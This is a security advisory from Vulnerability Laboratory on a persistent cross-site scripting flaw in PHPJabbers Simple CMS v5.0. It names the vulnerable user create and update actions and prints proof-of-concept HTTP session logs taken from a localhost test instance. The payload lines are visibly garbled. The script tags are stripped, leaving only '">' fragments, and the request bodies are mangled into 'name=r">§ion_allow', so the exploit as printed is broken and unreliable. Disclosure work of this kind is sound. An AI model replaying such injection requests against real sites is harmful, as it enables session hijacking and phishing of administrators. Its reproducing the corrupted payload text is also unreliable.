Document Title: =============== PHPJabbers Simple CMS v5 - Persistent XSS Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2300 Release Date: ============= 2021-10-28 Vulnerability Laboratory ID (VL-ID): ==================================== 2300 Common Vulnerability Scoring System: ==================================== 5.4 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== A simple PHP content management system for easy web content editing and publishing. Our PHP Content Management System script is designed to provide you with powerful yet easy content administration tools. The smart CMS lets you create and manage multiple types of web sections and easily embed them into your website. You can upload a wide range of files and add users with different user access levels. Get the Developer License and customize the script to fit your specific needs. (Copy of the Homepage:https://www.phpjabbers.com/simple-cms/ ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a persistent input validation vulnerability in the PHPJabbers Simple CMS v5.0 web-application. Affected Product(s): ==================== PHPJabbers Product: PHPJabbers Simple CMS v5.0 - (Web-Application) Vulnerability Disclosure Timeline: ================================== 2021-09-01: Researcher Notification & Coordination (Security Researcher) 2021-09-02: Vendor Notification (Security Department) 2021-**-**: Vendor Response/Feedback (Security Department) 2021-**-**: Vendor Fix/Patch (Service Developer Team) 2021-**-**: Security Acknowledgements (Security Department) 2021-10-28: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted Authentication (Moderator Privileges) User Interaction: ================= Low User Interaction Disclosure Type: ================ Responsible Disclosure Technical Details & Description: ================================ A persistent input validation web vulnerability has been discovered in the in the PHPJabbers Simple CMS v5.0 web-application. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The persistent vulnerability is located in the create (pjActionCreate) and update (pjActionUpdate) post method request. Privileged authenticated accounts with ui access are able to inject own malicious script code as name for users. The script code execution is performed after the inject via post method in the user list (pjAdminUsers). Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Create (Add) [+] Update Vulnerable Parameter(s): [+] pjActionCreate [+] pjActionUpdate Affected Module(s): [+] pjAdminUsers Proof of Concept (PoC): ======================= The persistent web vulnerability can be exploited by remote attackers with privilged user accounts with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: Payloads "> "> --- PoC Session Logs (POST) [Add & Update] https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionCreate Host: phpjabbers-cms.localhost:8080 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Type: application/x-www-form-urlencoded Content-Length: 178 Origin:https://phpjabbers-cms.localhost:8080 Connection: keep-alive Referer:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionCreate Cookie: PHPSESSID=1u09ltqr9cm9fivco678g5rdk6; pj_sid=PJ1.0.9421452714.1630949247; pj_so=PJ1.0.8128760084.1630949247; _gcl_au=1.1.1647551187.1630949248; __zlcmid=15wkJNPYavCwzgx; simpleCMS=5if2dl1gd2siru197tojj4r7u5; pjd=f9843n906jef7det6cn5shusd1; pjd_1630949262_438=1 user_create=1&role_id=2&email=test@ftp.world&password=test2&name=r">§ion_allow=1&file_allow=1&status=T - POST: HTTP/1.1 303 Server: Apache/2.2.15 (CentOS) Location: /1630949262_438/index.php?controller=pjAdminUsers&action=pjActionIndex&err=AU03 Keep-Alive: timeout=10, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 -- https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionUpdate Host: phpjabbers-cms.localhost:8080 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Type: application/x-www-form-urlencoded Content-Length: 180 Origin:https://phpjabbers-cms.localhost:8080 Connection: keep-alive Referer:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionUpdate&id=2 Cookie: PHPSESSID=1u09ltqr9cm9fivco678g5rdk6; pj_sid=PJ1.0.9421452714.1630949247; pj_so=PJ1.0.8128760084.1630949247; _gcl_au=1.1.1647551187.1630949248; __zlcmid=15wkJNPYavCwzgx; simpleCMS=5if2dl1gd2siru197tojj4r7u5; pjd=f9843n906jef7det6cn5shusd1; pjd_1630949262_438=1 user_update=1&id=2&role_id=2&email=test@test.de&password=test&name=r">§ion_allow=1&file_allow=1&status=T - POST: HTTP/1.1 303 Server: Apache/2.2.15 (CentOS) Location:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionIndex&err=AU01 Keep-Alive: timeout=10, max=83 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 - https://phpjabbers-cms.localhost:8080/1630949262_438/evil.source Host: phpjabbers-cms.localhost:8080 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Connection: keep-alive Referer:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionIndex&err=AU03 Cookie: PHPSESSID=1u09ltqr9cm9fivco678g5rdk6; pj_sid=PJ1.0.9421452714.1630949247; pj_so=PJ1.0.8128760084.1630949247; _gcl_au=1.1.1647551187.1630949248; __zlcmid=15wkJNPYavCwzgx; simpleCMS=5if2dl1gd2siru197tojj4r7u5; pjd=f9843n906jef7det6cn5shusd1; pjd_1630949262_438=1 - GET: HTTP/1.1 200 OK Server: Apache/2.2.15 (CentOS) Content-Length: 380 Keep-Alive: timeout=10, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Vulnerable Source: index.php?controller=pjAdminUsers (&action=pjActionIndex&err=AU03)